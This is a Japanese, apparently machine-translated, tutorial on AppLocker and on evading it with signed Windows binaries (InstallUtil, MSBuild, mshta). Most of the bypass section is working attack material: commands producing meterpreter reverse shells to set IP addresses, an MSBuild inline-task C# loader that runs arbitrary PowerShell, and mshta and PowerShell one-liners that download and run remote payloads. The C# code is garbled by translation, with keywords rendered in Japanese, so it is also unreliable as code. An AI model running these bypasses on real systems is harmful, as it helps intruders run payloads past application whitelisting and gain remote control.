AppLocker (「アプリケーション コントロール ポリシー」) は、Windows 7 システムに新しく追加されたセキュリティ機能です。この機能は、win7 以降のシステムにデフォルトで統合されており、サービスでアプリケーション ID を有効にし、ローカル セキュリティ ポリシーのアプリケーション コントロール ポリシーで Applocker オプションを見つけることができます。
デフォルトの Applocker ルールは次のものをサポートしています:
ルール** | 関連するファイル形式 ---|--- 実行可能ファイル | .exe 、.com スクリプト | .ps1、.bat、.cmd、.vbs、.js Windows インストーラー ファイル | .msi、.msp、.mst パッケージ アプリケーションおよびパッケージ アプリケーション インストーラー | .appx DLL ファイル | .dll、.ocx
.appx はすべての applocker に存在するわけではありません。Windows のバージョンに応じて決定する必要があります。win10 では、applocker ルールを作成した後、対応する .applocker ファイルが C:\Windows\System32\AppLocker に生成されます。
ルール条件は、AppLocker がルールが適用されるアプリを識別するために使用される条件です。 3 つの主なルール条件は、発行者、パス、ファイル ハッシュです。
パブリッシャー: アプリケーションのデジタル署名に基づいて識別します。<br>
パス: コンピューターのファイル システム内のアプリケーションの場所またはそれを識別するためのネットワークの場所<br>
# ファイル ハッシュ: 識別されたファイルのシステムが計算した暗号化ハッシュを表します<br>
Applocker ルールを作成すると、次の図に示すように、システムはデフォルトでデフォルト ルールを追加するかどうかを尋ねます。
各ルールに対応するデフォルト ルールは次のとおりです。
##実行可能なデフォルト ルールの種類は次のとおりです。<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
#AppLocker ルールの動作<br>
applocker ルールを作成する<br>
システムによって実行が妨げられます
InstallUtil は .NET Framework の一部であり、ユーザーがコマンド プロンプトからすばやくインストールできるようにするコマンド ライン プログラムです。そしてアプリケーションをアンインストールします。このユーティリティは Microsoft 署名付きバイナリであるため、AppLocker の制限をバイパスして .NET 実行可能ファイルを実行するために使用できます。このユーティリティは Windows フォルダ内にもありますが、システムが正しく機能するには Windows フォルダの内容を実行する必要があるため、AppLocker ポリシーは適用されません。
まず、WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) を使用してテンプレートを生成します
<br>
<br>
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
上記のコマンドは、Metasploit ShellCode を含む C# テンプレートを生成します。
生成されたファイルをターゲットに配置し、次のメソッドを使用して実行します:
<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= / LogToConsole=false /U /root/payload.exe
もちろん、msf を使用して csharp ペイロードを生成し、テンプレート内のシェルコードを置き換えて、cs ファイルをターゲット マシンに転送することもできます。
次に、csc を使用してスクリプトをコンパイルします。
<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:exeshell.exe exeshell.cs
この時点で、ファイルを実行しようとします。
はルールによってインターセプトされるため、
<br>
<br>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
Bypass
msf は正常にオンラインになりました
msf には、applocker に InstallUtil.exe を使用するバイパス モジュールもあります。
<br>
<br>
exploit/windows/local/applocker_bypass
原則は同じです
共通パスの場合:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe<br>
C:\Windows\Microsoft.NET\Framework64\ v2. 0.50727\InstallUtil.exe<br>
#C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe<br>
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe<br>
MSBuild .exe (Microsoft Build Engine) は、Visual Studio で使用されるソフトウェア構築プラットフォームです。さまざまなプラットフォームや構成向けに構築するための要件を定義する XML 形式のプロジェクト ファイルが必要です。 (引用: MSDN MSBuild)
MSBuild を使用すると、信頼できる Windows ユーティリティを通じてコード実行をプロキシできます。 .NET バージョン 4 で導入された MSBuild インライン タスク機能を使用すると、C# コードを XML プロジェクト ファイルに挿入できます。インライン タスク MSBuild はインライン タスクをコンパイルして実行します。 MSBuild.exe は署名された Microsoft バイナリであるため、この方法で使用すると、任意のコードを実行し、MSBuild.exe の実行を許可するように構成されたアプリケーションのホワイトリスト保護をバイパスする可能性があります。
ここでは、GreatSCT を直接使用して XML ファイルを生成します。 。
<br>
<br>
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py
and rc ファイルが生成されます。msfconsole -r を使用して msf を直接起動できます。
その後、msbuild を使用してそれを実行します。
msf は進みます。 online:
もちろん、msf を使用して C# シェルコードを生成し、Sanhao Student Master のテンプレートを使用してロードすることもできます:
https:/ /github.com/3gstudent/msbuild-inline-task/blob/master/executesshellcode.xml
サフィックス名が .csproj
に変更されることに注意してください。シェルを再バインドするだけでなく、これを使用して PowerShell の制限を回避することもできます。
コードは以下のように表示されます:
<br>
<br>
ターゲット>
コード>タスク><usingtask assemblyfile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"> <reference include="System.Management.Automation"></reference> ");
文字列 x = Console.ReadLine();
試す
{
Console.WriteLine(RunPSCommand(x));
}
catch (例外 e)
{
Console.WriteLine(e.Message);
}
}
true を返します。
}//ジャレッド・アトキンソンとジャスティン・ワーナーの作品に基づく
パブリック静的文字列 RunPSCommand(string cmd)
{
//初期化のもの
ランスペース runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
パイプライン パイプライン = runspace.CreatePipeline();
// コマンドを追加する
パイプライン.Commands.AddScript(cmd);
//文字列出力用に PS を準備して呼び出します
Pipeline.Commands.Add("Out-String");
コレクション<psobject>結果 = パイプライン.Invoke();
runspace.Close();
//レコードを文字列に変換する
StringBuilder stringBuilder = new StringBuilder();
foreach (結果内の PSObject obj)
{
stringBuilder.Append(obj);
}
stringBuilder.ToString().Trim(); を返します。
}
public static void RunPSFile(文字列スクリプト)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(スクリプト).Invoke();
}
}
]]> コード>タスク>
タスクの使用中>
プロジェクト></psobject></usingtask>
原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes PowerShellCommands.xml
powershell の制限を成功裏に突破しました。
通常のパスは次のとおりです:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild。 exe<br>
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe<br>
C :\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe<br>
C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe <br>
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe<br>
C: \Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe<br>
mshta.exe は微软 Windows オペレーションですシステム関連プログラム、和文完全に Microsoft HTML アプリケーションは、.HTA ファイルを実行するためのマイクロ スクリプト アプリケーションとして翻訳されています。 msf のexploit/windows/misc/hta_server モジュールを使用してテストを実行します:
<br>
<br>
useexploit/windows/misc/hta_server msf エクスプロイト(windows/misc/hta_server) > srvhost 192.168.1.109 を設定します msf エクスプロイト(windows/misc/hta_server) >エクスプロイト
目标机执行:
<br>
<br>
mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即
この方法の他に、cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT などを使用して、オンラインで実行することもできます。ダウンロード形式でペイロードを実行します。例:
<br>
<br>
mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close ();
上記の方法に加えて、mshta を使用して powershell を実行できます:
<br>
<br>
Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')" スクリプト>
以上がAppLocker バイパス分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。